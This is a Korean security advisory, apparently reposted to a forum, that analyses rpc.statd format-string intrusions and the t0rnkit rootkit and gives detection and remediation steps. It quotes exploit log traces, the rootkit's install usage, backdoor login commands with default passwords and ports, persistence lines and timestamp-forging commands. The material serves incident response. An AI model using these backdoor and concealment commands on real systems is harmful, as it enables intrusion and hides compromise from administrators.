릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱
Feb 19 02:48:30 victim
rpc.statd[539]: gethostbyname error for^X??X??Y??Y??Z??Z??[??[?풺ffff72c 804a6589090909068746567
6274736f6d616e797265206520726f7220726f66bffff718 bffff719 bffff71abffff71b\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220
rpc.statd를 공격할 수 있는 몇 종류의 도구가 인터넷 상에 공개되어 있으며 이러한 공격 도구에 의해 공격을 받았을 경우 위와 같은 공격 흔적들이 남게 된다. 어떤 공격도구는 9704번 포트를 root shell로 열리도록 하는데 이 도구에 의해 수많은 국내 리눅스 시스템들이 해킹당하기도 했다. 물론 이 공격 형태는 두 번째 공격로그와 같이 포트번호를 변화시킬 수도 있다.
또한 대규모 네트워크를 대상으로 일반적인 백도어 포트들을 스캔하는 경우도 흔히 볼 수 있다. 아래 로그는 ccc.ddd.0 네트워크를 대상으로 9704 포트가 열려진 서버를 찾고 있다.
Time|Src IP | Src port | Dst IP | Dst Port | Protocol | Other info | Classification
2001-02-15 13:34:46|aaa.bbb.7.194|9704|ccc.ddd.0.10|9704|TCP|fl=SF|SYNFIN
2001-02-15 13:34:46|aaa.bbb.7.194|9704|ccc.ddd.0.11|9704|TCP|fl=SF|SYNFIN
2001-02-15 13:34:46|aaa.bbb.7.194|9704|ccc.ddd.0.15|9704|TCP|fl=SF|SYNFIN
2001-02-15 13:34:46|aaa.bbb.7.194|9704|ccc.ddd.0.16|9704|TCP|fl=SF|SYNFIN
2001-02-15 13:34:46|aaa.bbb.7.194|9704|ccc.ddd.0.18|9704|TCP|fl=SF|SYNFIN
2001-02-15 13:34:46|aaa.bbb.7.194|9704|ccc.ddd.0.19|9704|TCP|fl=SF|SYNFIN
2001-02-15 13:34:46|aaa.bbb.7.194|9704|ccc.ddd.0.20|9704|TCP|fl=SF|SYNFIN
2001-02-15 13:34:46|aaa.bbb.7.194|9704|ccc.ddd.0.21|9704|TCP|fl=SF|SYNFIN
2001-02-15 13:34:46|aaa.bbb.7.194|9704|ccc.ddd.0.22|9704|TCP|fl=SF|SYNFIN
2001-02-15 13:34:46|aaa.bbb.7.194|9704|ccc.ddd.0.26|9704|TCP|fl=SF|SYNFIN
이러한 공격은 rpc.statd 등 다양한 공격에 의해 디폴트로 열리는 백도어 포트를 스캔하여 쉽게 루트권한을 얻고자 하는 이들의 공격이라고 볼 수 있다. 자동화된 공격도구들의 공격에 의해 디폴트로 열리는 포트는 9704번 포트 이외에도 2222번 포트, 1524번(ingreslock) 포트, 600번(pcserver) 포트 등이 있으므로 자신의 네트워크에 이러한 포트가 열려져 있지 않는지 확인해 볼 필요가 있다.
Top
나. t0rnkit 설치
rpc.statd, wu-ftpd, LPRng 등의 취약점을 이용하여 시스템에 침입한 공격자는 시스템을 이용하여 원하는 작업들을 하게된다. 단순히 자신의 해킹실력을 과시하고자 하는 해커는 홈페이지를 바꾸고 자신의 해킹실력을 알리는가하면 해킹한 서버에 DDoS agent를 설치하여 서비스거부공격에 이용하기도 한다. 최근에 해킹당한 시스템에서 자주 볼 수 있는 현상이 t0rnkit이라는 일종의 rootkit이 발견되고 있다.
t0rnkit은 지난 2000년 중반경부터 나타나기 시작하여 최근 해커들사이에 일반화된 도구이다. 이 도구는 기존의 루트킷과 전혀 다른 개념은 아니고 기본적인 기능은 lrk 등 기존의 루트킷과 거의 유사하지만, 리눅스 시스템에서 빠르게 설치되도록 디자인되어졌으며, 설치 및 운영이 매우 간편하기 때문에 많이 사용되어 지고 있다. 공격자가 자신의 공격사실을 숨기거나 백도어를 설치하기 위해 필요한 파일들은 모두 이미 컴파일된 실행파일 형태로 제공되고 있으며 이는 앞서 살펴본 rpc.statd 등을 이용한 대규모 해킹피해시스템에 신속하게 백도어와 트로이목마를 설치할 수 있게 해준다.
t0rnkit이 설치되었을 경우 login, ls, ps, netstat 등 많은 시스템파일을 트로이쟌으로 바꾸기 때문에 일반적인 루트킷과 마찬가지로 분석이 쉽지 않다.
지금부터 t0rnkit의 특성을 살펴보고 해킹피해시스템에 t0rnkit이 설치되어 있을 경우 분석방법에 대해 알아보기로 하자.
설치에 앞서 t0rnkit 아카이브 파일을 열면 tk라는 디렉토리 아래에 다음과 같은 파일들을 볼 수 있다.
[root@linux80 trojan]# cd tk
[root@linux80 tk]# ls -al
total 666
drwx------ 3 502 502 1024 Sep 13 19:43 ./
drwxr-xr-x 8 root root 1024 Feb 27 16:16 ../
drwxr-xr-x 2 root root 1024 Sep 13 18:50 dev/
-rwxr-xr-x 1 root root 22460 Aug 23 2000 du*
-rwxr-xr-x 1 root root 57452 Aug 23 2000 find*
-rwxr-xr-x 1 root root 32728 Aug 23 2000 ifconfig*
-rwxr-xr-x 1 root root 6408 Aug 23 2000 in.fingerd*
-rwxr-xr-x 1 root root 3964 Aug 23 2000 login*
-rwxr-xr-x 1 root root 39484 Aug 23 2000 ls*
-rwxr-xr-x 1 root root 53364 Aug 23 2000 netstat*
-rwxr-xr-x 1 root bin 4568 Sep 13 19:43 pg*
-rwxr-xr-x 1 root root 31336 Aug 23 2000 ps*
-rwxr-xr-x 1 root root 13184 Aug 23 2000 pstree*
-rw-r--r-- 1 root root 100424 Aug 23 2000 ssh.tgz
-rwxr-xr-x 1 root root 1382 Jul 25 2000 sz*
-rwxr-xr-x 1 root root 7877 Sep 13 19:24 t0rn*
-rwxr-xr-x 1 root root 7578 Aug 22 2000 t0rnp*
-rwxr-xr-x 1 root root 6948 Aug 23 2000 t0rns*
-rwxr-xr-x 1 root root 1345 Sep 10 1999 t0rnsb*
-rwxr-xr-x 1 root root 266140 Jul 18 2000 top*
-rw-r--r-- 1 root root 3095 Sep 13 19:26 tornkit-README
-rw-r--r-- 1 root bin 197 Sep 13 19:25 tornkit-TODO
설치는 ./t0rn 으로 간단히 할 수 있으며 백도어에 사용되는 패스워드와 ssh 포트번호를 바꿀 수도 있다.
Usage : ./t0rn <password> <ssh-port>
t0rnkit이 설치되면 시스템에 다음과 같은 변화가 일어난다.
첫째, 재침입을 위한 백도어가 설치된다.
login, ssh, finger 파일을 트로이목마로 변형하여 공격자가 정의한 패스워드를 입력할 경우 루트쉘을 획득할 수 있다. 루트쉘을 얻을 수 있는 매직 패스워드는 /etc/ttyhash 파일에 pg라는 프로그램에 의해 생성된 해쉬된 패스워드가 저장된다.
[root@linux80 trojan]# more /etc/ttyhash
dbMOBckWBUppg
dbMOBckWBUppg
Top
디폴트 패스워드는 "t0rnkit"이며 설치시 패스워드를 변경할 수 있으며, login, ssh, finger 백도어가 이 패스워드를 이용한다.
이 세가지 백도어에 대해 알아보도록 하자.
□ login
/* 디폴트 패스워드는 "t0rnkit"이다. */
bash# export DISPLAY=t0rnkit-looser
bash# telnet tornkit.com
Trying 127.0.0.1...
Linux 2.2.16 (tornkit.com)
login: torn /* 사용자명은 상관없음 */
Password:
bash#
□ ssh
/* 디폴트 포트는 47017이다. */
ssh -l t0rnkit-looser -p <ssh-port>
/* 포트번호는 설치시 바꾸는 외에도 커맨드라인에서 바꿀수도 있다. */
ssh -l <login> -p <ssh-port>
시스템이 부팅될 때마다 ssh 데몬(nscd라는 Name Server Cache Daemon으로 가장하고 있음)이 자동으로 실행되게 한다.
echo "# Name Server Cache Daemon..">> /etc/rc.d/rc.sysinit
echo "/usr/sbin/nscd -q" >> /etc/rc.d/rc.sysinit
국내 해킹 피해시스템에서는 /etc/rc.d/rc.sysinit 파일에 ssh 백도어 뿐만 아니라 분산서비스거부공격 도구인 TFN2K agent 프로그램인 td도 부팅시 실행되도록 하고 있어 국외 해커들에 의해 서비스거부공격에 이용되고 있었다.
다음은 국내 피해시스템에서 발견된 /etc/rc.d/rc.sysinit 파일의 내용이다.
# Name Server Cache Daemon..
/usr/sbin/nscd -q
#td start
/usr/src/.puta/td
□ finger
/* inetd에 2555번 포트를 통하여 쉘을 부여한다. */
finger password@tornkit.com
네트워크 상태를 점검하여 47017나 2555번 포트가 열려져 있는지 점검할 필요가 있다. 하지만 netstat도 t0rnkit이 설치될 경우 트로이버젼으로 변경되므로 lsof를 사용하여 보자. lsof | grep LISTEN을 하게되면 listenig하고 있는 47017 port를 볼 수 있다.
nscd 107 root 8u IPv4 110 TCP *:47017 (LISTEN)
inetd 370 root 5u IPv4 329 TCP *:ftp (LISTEN)
inetd 370 root 6u IPv4 330 TCP *:telnet (LISTEN)
inetd 370 root 7u IPv4 331 TCP *:shell (LISTEN)
inetd 370 root 9u IPv4 332 TCP *:finger (LISTEN)
inetd 370 root 10u IPv4 333 TCP *:linuxconf (LISTEN)
시스템 내에서 네트워크 상태를 볼 수도 있지만 원격지에서 t0rnkit이 디폴트로 사용하는 포트가 열려져 있는지 점검할 수도 있다. nmap을 이용해 대상 시스템의 45000에서 48000번 포트를 스캐닝 함으로서 t0rnkit(엄밀히 이야기하면 ssh)을 발견할 수 있다. nmap의 결과는 다음과 같다.
Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )
Interesting ports on (192.168.1.3):
(The 4000 ports scanned but not shown below are in state: closed)
Port State Service
47017/tcp open unknown
TCP Sequence Prediction: Class=random positive increments
Difficulty=3980866 (Good luck!)
Remote operating system guess: Linux 2.1.122 - 2.2.16
Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds
국내 해킹피해시스템 분석과정에서 트로이쟌 ssh를 위해 47017포트가 열려져 있는 경우보다는 47432포트가 많이 열려져 있었다. 포트번호는 공격자에 의해 쉽게 변경이 가능하다는 점을 명심하여야 하겠다.
Top
둘째, 몇몇 시스템 파일들이 트로이목마 버젼으로 변경된다.
여기서 du, find, ifconfig, in.fingerd, login, ls, netstat, ps, sz, top 파일은 공격자가 의도하는 기능이 숨겨진 트로이쟌 파일들로 기존의 정상적인 파일을 대체하게 된다. t0rnkit의 홈디렉토리 역할을 하는 /usr/src/.puta 아래에 t0rnkit을 운영하는데 필요한 sniffer, logcleaner 등과 함께 트로이쟌으로 변경된 ps, ls 등에서 숨기고자 하는 파일이나 포트, 주소 등이 정의되어 있다.
[root@linux80 trojan]# ls -al /usr/src/.puta
total 23
drwxr-xr-x 2 root root 1024 Mar 2 17:13 .
drwxr-xr-x 5 root root 1024 Mar 2 17:13 ..
-rw-r--r-- 1 root root 22 Mar 2 17:13 .1addr
-rw-r--r-- 1 root root 72 Mar 2 17:13 .1file
-rw-r--r-- 1 root root 21 Mar 2 17:13 .1logz
-rw-r--r-- 1 root root 38 Mar 2 17:13 .1proc
-rwxr-xr-x 1 root root 7578 Aug 22 2000 t0rnp
-rwxr-xr-x 1 root root 6948 Aug 23 2000 t0rns
-rwxr-xr-x 1 root root 1345 Sep 10 1999 t0rnsb
시스템파일들의 변경여부는 파일 사이즈와 timestamp를 점검하는 것을 고려할 수 있다. 하지만 이 부분에서 t0rnkit은 매우 교묘해서 trojaned binaries는 정상적인 binaries와 똑같은 정확한 timestamp를 가지도록 하고 있다.
t0rnkit 설치시 다음과 같이 timestamp를 바꾸는 과정을 거친다.
touch -acmr /sbin/ifconfig ifconfig
touch -acmr /bin/ps ps
touch -acmr /usr/bin/du du
touch -acmr /bin/ls ls
touch -acmr /bin/netstat netstat
touch -acmr /usr/sbin/in.fingerd in.fingerd
touch -acmr /usr/bin/find find
touch -acmr /usr/bin/top top
하지만 파일 사이즈는 다르다. lrk 등 일반적인 루트킷과는 달리 컴파일과정 없이 실행파일형태로 제공되고 있기 때문에 이들의 파일사이즈를 비교함으로써 쉽게 트로이로 변경된 여부를 알 수 있다. 예를 들어 Red Hat 6.1의 /bin/ps를 ls -al로 보면 그 결과는 다음과 같다.
-r-xr-xr-x 1 root root 61244 Sept 26 1999
t0rn이 설치되어 있다면 결과는 아래와 같이 나타난다.
-r-xr-xr-x 1 root root 31336 Sept 26 1999
실행파일 형태로 제공되고 있으므로 설치시 보았던 파일 사이즈들을 비교하면 쉽게 트로이목마로 변경된 것을 알 수 있다. 하지만 실행파일 형태로 제공되고 있어 필요한 라이브러리가 없어 정상적으로 실행이되지 않는 경우도 시스템에 따라 발생한다. ls, ps 등의 명령어들이 갑자기 정상적으로 동작하지 않을 경우에도 트로이쟌으로 바뀌었을 가능성을 의심해 보기 바란다.
셋째, 스니퍼와 로그 cleaner가 설치된다.
/usr/src/.puta 아래에 sniffer 프로그램인 t0rns와 스니퍼 로그 파싱을 위한 t0rnp, 그리고 로그 삭제를 위한 t0rnsb 파일을 볼 수 있다.
lsof | grep t0rn를 하게되면 t0rn이 운영하는 모든 프로세스를 찾을 수 있다.
다음은 lsof -grep t0rn을 한 결과이다.
t0rns 557 root cwd DIR 3,1 0 51920 /home/tmiller/tk (deleted)
t0rns 557 root rtd DIR 3,1 4096 2 /
t0rns 557 root txt REG 3,1 6948 51927 /usr/src/.puta/t0rns
t0rns 557 root mem REG 3,1 25034 19113 /lib/ld-linux.so.1.9.5
t0rns 557 root mem REG 3,1 699832 64363 /usr/i486-linux-libc5/lib/libc.so.5.3.12
t0rns 557 root 0u sock 0,0 489 can't identify protocol
t0rns 557 root 1w REG 3,1 0 51963 /home/tmiller/tk/system (deleted)
t0rns 632 root cwd DIR 3,1 4096 36547 /usr/src/.puta
t0rns 632 root rtd DIR 3,1 4096 2 /
t0rns 632 root txt REG 3,1 6948 51927 /usr/src/.puta/t0rns
t0rns 632 root mem REG 3,1 25034 19113 /lib/ld-linux.so.1.9.5
t0rns 632 root mem REG 3,1 699832 64363 /usr/i486-linux-libc5/lib/libc.so.5.3.12
t0rns 632 root 0u sock 0,0 533 can't identify protocol
t0rns 632 root 1w REG 3,1 0 34668 /usr/src/.puta/system
여기에서 몇가지 중요한 사실을 볼 수 있다. 첫째로 sniffer 파일인 /usr/src/.puta/t0rns이 운영되고 있음을 알 수 있으며, 또한 t0rn의 숨겨진 디렉토리 /usr/srec/.puta을 볼 수 있다. 이 두 파일은 t0rn을 확인할 수 있는 중요한 식별자이다.
이상과 같은 현상이외에도 t0rnkit이 설치되면서 syslog.conf 파일에서 원격로그 서버에 로깅이 되고 있는지 살펴보고, /etc/hosts.deny의 설정상태를 점검하기도 한다. 또한 /etc/inetd.conf 파일에서 공격을 위해 필요한 telnet, shell, finger 서비스가 닫혀져 있을 경우 강제로 열어 놓기도 한다.
Top
3. 대응책
rpc.statd 취약점에 대한 대응으로는 해당 서비스를 중지하는 방법과 이 서비스가 필요할 경우 패치를 하는 두가지 방법이 있다.
우선 rpc.statd가 필요없는 경우(NFS를 사용하지 않을 경우)에는 이 서비스를 다음과 같이 중지시킨다.
# chkconfig --level 0123456 nfs off
NFS 서비스가 필요할 경우 nfs-utils를 패치한다. 국내에서 많이 사용되고 있는 RedHat의 경우 버전과 아키텍쳐에 따라 다음에서 패치파일을 받을 수 있다.
- RedHat Linux 6.2 sparc: ftp://updates.redhat.com/6.2/sparc/nfs-utils-0.1.9.1-1.sparc.rpm
- RedHat Linux 6.2 i386: ftp://updates.redhat.com/6.2/i386/nfs-utils-0.1.9.1-1.i386.rpm
- RedHat Linux 6.2 alpha: ftp://updates.redhat.com/6.2/alpha/nfs-utils-0.1.9.1-1.alpha.rpm
- RedHat Linux 6.1 sparc: ftp://updates.redhat.com/6.2/sparc/nfs-utils-0.1.9.1-1.sparc.rpm
- RedHat Linux 6.1 i386: ftp://updates.redhat.com/6.2/i386/nfs-utils-0.1.9.1-1.i386.rpm
- RedHat Linux 6.1 alpha: ftp://updates.redhat.com/6.2/alpha/nfs-utils-0.1.9.1-1.alpha.rpm
- RedHat Linux 6.0 sparc: ftp://updates.redhat.com/6.2/sparc/nfs-utils-0.1.9.1-1.sparc.rpm
- RedHat Linux 6.0 i386: ftp://updates.redhat.com/6.2/i386/nfs-utils-0.1.9.1-1.i386.rpm
- RedHat Linux 6.0 alpha: ftp://updates.redhat.com/6.2/alpha/nfs-utils-0.1.9.1-1.alpha.rpm
t0rnkit에 대한 대응은 일반적인 트로이목마 프로그램에 대한 대응책과 마찬가지로 우선 시스템에 불법적인 침입이 없도록 시스템을 안전하게 유지하는 것이다. 또한 운영체제를 설치할 때 t0rnkit이나 다른 루트킷을 탐지하기 위한 계획이 요구되는데, Tripwire와 같은 프로그램을 이용하여 주기적으로 시스템의 무결성을 점검할 필요가 있다.
4. 참고자료
KA-2000-030-input format string vulnerability of Linux rpc.stad http://www.certcc.or.kr/advisory/ka2000/ka2000-030.txt
Multiple Linux Vendor rpc.statd Remote Format String Vulnerability http://www.securityfocus.com/bid/1480
CA-2000-17: Input Validation Problem In rpc.statd http://www.cert.org/advisories/CA-2000-17.html
IN-2000-10: Widespread Exploitation of rpc.statd and wu-ftpd Vulnerabilities http://www.cert.org/incident_notes/IN-2000-10.html
Analysis of the T0rn Rootkit, http://packetstorm.securify.com/papers/IDS/t0rn.txt
- 이전글텔넷에서 ftp 명령어 21.02.10
- 다음글cron backup 21.02.10
댓글목록
등록된 댓글이 없습니다.